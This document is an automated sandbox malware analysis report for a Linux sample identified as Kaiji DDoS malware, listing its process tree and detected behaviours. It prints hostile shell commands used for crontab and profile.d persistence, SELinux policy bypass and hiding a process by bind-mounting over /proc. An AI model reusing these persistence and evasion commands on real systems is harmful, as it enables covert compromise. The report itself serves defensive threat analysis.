Edit tour

Linux Analysis Report
c4RvDuLtq1.elf

Overview

General Information

Sample name:	c4RvDuLtq1.elf renamed because original name is a hash value
Original sample name:	639af202eb3c903183b8ae3d8ba4951e.elf
Analysis ID:	1547219
MD5:	639af202eb3c903183b8ae3d8ba4951e
SHA1:	78ad606c247165cb75c4e349d9be702517203224
SHA256:	668e2cdc076b620be68a4d5aa2ed14d2fa9b48b556f0e8f69548d8a972436155
Tags:	32armelf
Infos:

Detection

Kaiji

Score:	72
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Kaiji

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using cron

Sample tries to set files in /etc globally writable

Creates hidden files and/or directories

Creates hidden files without content (potentially used as a mutex)

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "sleep" command used to delay execution and potentially evade sandboxes

Executes the "systemctl" command used for controlling the systemd system and service manager

Reads the 'hosts' file potentially containing internal network hosts

Sample has stripped symbol table

Sample tries to set the executable flag

Sleeps for long times indicative of sandbox evasion

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Writes shell script files to disk

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1547219
Start date and time:	2024-11-02 03:55:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	c4RvDuLtq1.elf renamed because original name is a hash value
Original Sample Name:	639af202eb3c903183b8ae3d8ba4951e.elf
Detection:	MAL
Classification:	mal72.spre.troj.evad.linELF@0/58@418/0

Warnings

VT rate limit hit for: /.mod
VT rate limit hit for: ss.us-tv.top

Runtime Messages

Command:	/tmp/c4RvDuLtq1.elf
PID:	5843
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

c4RvDuLtq1.elf (PID: 5843, Parent: 5771, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/c4RvDuLtq1.elf

c4RvDuLtq1.elf New Fork (PID: 5850, Parent: 5843)

c4RvDuLtq1.elf (PID: 5850, Parent: 5843, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/c4RvDuLtq1.elf

c4RvDuLtq1.elf New Fork (PID: 5864, Parent: 5850)

bash (PID: 5864, Parent: 5850, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c /etc/32676&

bash New Fork (PID: 5869, Parent: 5864)

32676 (PID: 5869, Parent: 3044, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /etc/32676

32676 New Fork (PID: 5873, Parent: 5869)

sleep (PID: 5873, Parent: 5869, MD5: fcba58db24e5e3672c4d70a3bb01d7a4) Arguments: sleep 60

32676 New Fork (PID: 6067, Parent: 5869)

32676 New Fork (PID: 6069, Parent: 5869)

sleep (PID: 6069, Parent: 5869, MD5: fcba58db24e5e3672c4d70a3bb01d7a4) Arguments: sleep 60

32676 New Fork (PID: 6128, Parent: 5869)

32676 New Fork (PID: 6130, Parent: 5869)

sleep (PID: 6130, Parent: 5869, MD5: fcba58db24e5e3672c4d70a3bb01d7a4) Arguments: sleep 60

c4RvDuLtq1.elf New Fork (PID: 5870, Parent: 5850)

service (PID: 5870, Parent: 5850, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service crond start

service New Fork (PID: 5872, Parent: 5870)

basename (PID: 5872, Parent: 5870, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5874, Parent: 5870)

basename (PID: 5874, Parent: 5870, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5875, Parent: 5870)

systemctl (PID: 5875, Parent: 5870, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5876, Parent: 5870)

service New Fork (PID: 5877, Parent: 5876)

systemctl (PID: 5877, Parent: 5876, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5878, Parent: 5876)

sed (PID: 5878, Parent: 5876, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5870, Parent: 5850, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start crond.service

c4RvDuLtq1.elf New Fork (PID: 5879, Parent: 5850)

bash (PID: 5879, Parent: 5850, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c "cd /boot;systemctl daemon-reload;systemctl enable quotaoff.service;systemctl start quotaoff.service;journalctl -xe --no-pager"

bash New Fork (PID: 5881, Parent: 5879)

systemctl (PID: 5881, Parent: 5879, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

bash New Fork (PID: 5885, Parent: 5879)

systemctl (PID: 5885, Parent: 5879, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable quotaoff.service

bash New Fork (PID: 5889, Parent: 5879)

systemctl (PID: 5889, Parent: 5879, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start quotaoff.service

bash New Fork (PID: 5904, Parent: 5879)

journalctl (PID: 5904, Parent: 5879, MD5: bf3a987344f3bacafc44efd882abda8b) Arguments: journalctl -xe --no-pager

c4RvDuLtq1.elf New Fork (PID: 5909, Parent: 5850)

bash (PID: 5909, Parent: 5850, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c "cd /boot;ausearch -c 'System.mod' --raw | audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp"

bash New Fork (PID: 5914, Parent: 5909)

bash New Fork (PID: 5915, Parent: 5909)

bash New Fork (PID: 5916, Parent: 5909)

c4RvDuLtq1.elf New Fork (PID: 5917, Parent: 5850)

bash (PID: 5917, Parent: 5850, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /bin/bash -c "echo \"*/1 * * * * root /.mod \" >> /etc/crontab"

c4RvDuLtq1.elf New Fork (PID: 5922, Parent: 5850)

renice (PID: 5922, Parent: 5850, MD5: 3686c936ed1df483498266a36871cb5b) Arguments: renice -20 5850

c4RvDuLtq1.elf New Fork (PID: 5927, Parent: 5850)

mount (PID: 5927, Parent: 5850, MD5: 92b20aa8b155ecd3ba9414aa477ef565) Arguments: mount -o bind /tmp/ /proc/5850

c4RvDuLtq1.elf New Fork (PID: 5952, Parent: 5850)

service (PID: 5952, Parent: 5850, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: service cron start

service New Fork (PID: 5957, Parent: 5952)

basename (PID: 5957, Parent: 5952, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5958, Parent: 5952)

basename (PID: 5958, Parent: 5952, MD5: 3283660e59f128df18bec9b96fbd4d41) Arguments: basename /usr/sbin/service

service New Fork (PID: 5959, Parent: 5952)

systemctl (PID: 5959, Parent: 5952, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active multi-user.target

service New Fork (PID: 5960, Parent: 5952)

service New Fork (PID: 5961, Parent: 5960)

systemctl (PID: 5961, Parent: 5960, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl list-unit-files --full --type=socket

service New Fork (PID: 5962, Parent: 5960)

sed (PID: 5962, Parent: 5960, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -ne s/\\.socket\\s*[a-z]*\\s*$/.socket/p

systemctl (PID: 5952, Parent: 5850, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start cron.service

c4RvDuLtq1.elf New Fork (PID: 5988, Parent: 5850)

systemctl (PID: 5988, Parent: 5850, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start crond.service

systemd New Fork (PID: 5883, Parent: 5882)

snapd-env-generator (PID: 5883, Parent: 5882, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5887, Parent: 5886)

snapd-env-generator (PID: 5887, Parent: 5886, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5890, Parent: 1)

udisksd New Fork (PID: 5941, Parent: 803)

dumpe2fs (PID: 5941, Parent: 803, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 5974, Parent: 1)

cron (PID: 5974, Parent: 1, MD5: 2c82564ff5cc862c89392b061c7fbd59) Arguments: /usr/sbin/cron -f

cron New Fork (PID: 6022, Parent: 5974)

cron New Fork (PID: 6031, Parent: 6022)

sh (PID: 6031, Parent: 6022, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/.mod "

sh New Fork (PID: 6032, Parent: 6031)

.mod (PID: 6032, Parent: 6031, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /.mod

.mod New Fork (PID: 6033, Parent: 6032)

systemd New Fork (PID: 6051, Parent: 1)

cron (PID: 6051, Parent: 1, MD5: 2c82564ff5cc862c89392b061c7fbd59) Arguments: /usr/sbin/cron -f

cron New Fork (PID: 6083, Parent: 6051)

cron New Fork (PID: 6092, Parent: 6083)

sh (PID: 6092, Parent: 6083, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -c "/.mod "

sh New Fork (PID: 6093, Parent: 6092)

.mod (PID: 6093, Parent: 6092, MD5: 7063c3930affe123baecd3b340f1ad2c) Arguments: /.mod

.mod New Fork (PID: 6094, Parent: 6093)

systemd New Fork (PID: 6114, Parent: 1)

cron (PID: 6114, Parent: 1, MD5: 2c82564ff5cc862c89392b061c7fbd59) Arguments: /usr/sbin/cron -f

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Kaiji	Surfaced in late April 2020, Intezer describes Kaiji as a DDoS malware written in Go that spreads through SSH brute force attacks. Recovered function names are an English representation of Chinese words, hinting about the origin. The name Kaiji was given by MalwareMustDie based on strings found in samples.	No Attribution	https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/ https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/ https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ https://www.bitdefender.com/box/blog/iot-news/kaiji-new-strain-iot-malware-seizing-control-launching-ddos-attacks/ https://www.elastic.co/security-labs/betting-on-bots	https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
c4RvDuLtq1.elf	JoeSecurity_Kaiji_1	Yara detected Kaiji	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: c4RvDuLtq1.elf	Virustotal: Detection: 31%			Perma Link
Source: c4RvDuLtq1.elf	ReversingLabs: Detection: 39%

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)

Reads hosts file: /etc/hosts

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ss.us-tv.top

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.spre.troj.evad.linELF@0/58@418/0

Source: ELF file section

Submission: c4RvDuLtq1.elf

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/profile.d/bash_cfg.sh			Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/profile.d/gateway.sh			Jump to behavior

Sample tries to persist itself using cron

Source: /bin/bash (PID: 5917)

File: /etc/crontab

Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/opt.services.cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/32676 (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/profile.d/bash_cfg (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/.walk	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /dev/.walk.lod	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /etc/.walk	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /dev/.old	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /dev/.img	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File: /.mod	Jump to behavior
Source: /.mod (PID: 6032)	Directory: /.mod	Jump to behavior
Source: /.mod (PID: 6093)	Directory: /.mod	Jump to behavior

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Empty hidden file: /dev/.old	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Empty hidden file: /dev/.walk.lod	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	Empty hidden file: /dev/.img	Jump to behavior

Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/110/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/231/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/111/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/112/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/233/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/113/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/114/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/235/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/115/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1333/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/116/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1695/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/117/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/118/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/119/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/911/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/914/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/10/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/917/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/11/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/12/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/13/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/14/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/15/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/16/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/17/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/18/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/19/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1591/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/120/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/121/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/122/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/243/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/2/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/123/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/3/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/124/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1588/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/125/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/4/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/246/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/126/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/5/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/127/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/6/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1585/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/128/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/7/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/129/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/8/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/800/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/9/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/802/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/803/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/804/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/20/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/21/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/3407/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/22/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/23/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/24/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/25/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/26/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/27/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/28/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/29/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1484/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/490/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/250/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/130/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/251/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/131/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/132/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/133/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1479/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/378/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/258/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/259/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/931/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1595/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/5830/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/812/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/933/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/5832/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/30/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/3419/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/35/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/3310/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/260/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/261/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/262/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/142/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/263/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/264/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/265/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/145/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/266/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/267/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/268/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/3303/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/269/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1486/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/1806/stat	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5850)	File opened: /proc/3440/stat	Jump to behavior

Source: /tmp/c4RvDuLtq1.elf (PID: 5864)	Shell command executed: /bin/bash -c /etc/32676&	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5879)	Shell command executed: /bin/bash -c "cd /boot;systemctl daemon-reload;systemctl enable quotaoff.service;systemctl start quotaoff.service;journalctl -xe --no-pager"	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5909)	Shell command executed: /bin/bash -c "cd /boot;ausearch -c 'System.mod' --raw \| audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp"	Jump to behavior
Source: /tmp/c4RvDuLtq1.elf (PID: 5917)	Shell command executed: /bin/bash -c "echo \"/1 * * * root /.mod \" >> /etc/crontab"	Jump to behavior
Source: /usr/sbin/cron (PID: 6031)	Shell command executed: /bin/sh -c "/.mod "	Jump to behavior
Source: /usr/sbin/cron (PID: 6092)	Shell command executed: /bin/sh -c "/.mod "	Jump to behavior

Source: /usr/sbin/service (PID: 5870)	Systemctl executable: /usr/bin/systemctl -> systemctl start crond.service	Jump to behavior
Source: /usr/sbin/service (PID: 5875)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active multi-user.target	Jump to behavior
Source: /usr/sbin/service (PID: 5877)	Systemctl executable: /usr/bin/systemctl -> systemctl list-unit-files --full --type=socket	Jump to behavior
Source: /bin/bash (PID: 5881)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload	Jump to behavior
Source: /bin/bash (PID: 5885)	Systemctl executable: /usr/bin/systemctl -> systemctl enable quotaoff.service	Jump to behavior
Source: /bin/bash (PID: 5889)	Systemctl executable: /usr/bin/systemctl -> systemctl start quotaoff.service	Jump to behavior
Source: /usr/sbin/service (PID: 5952)	Systemctl executable: /usr/bin/systemctl -> systemctl start cron.service	Jump to behavior
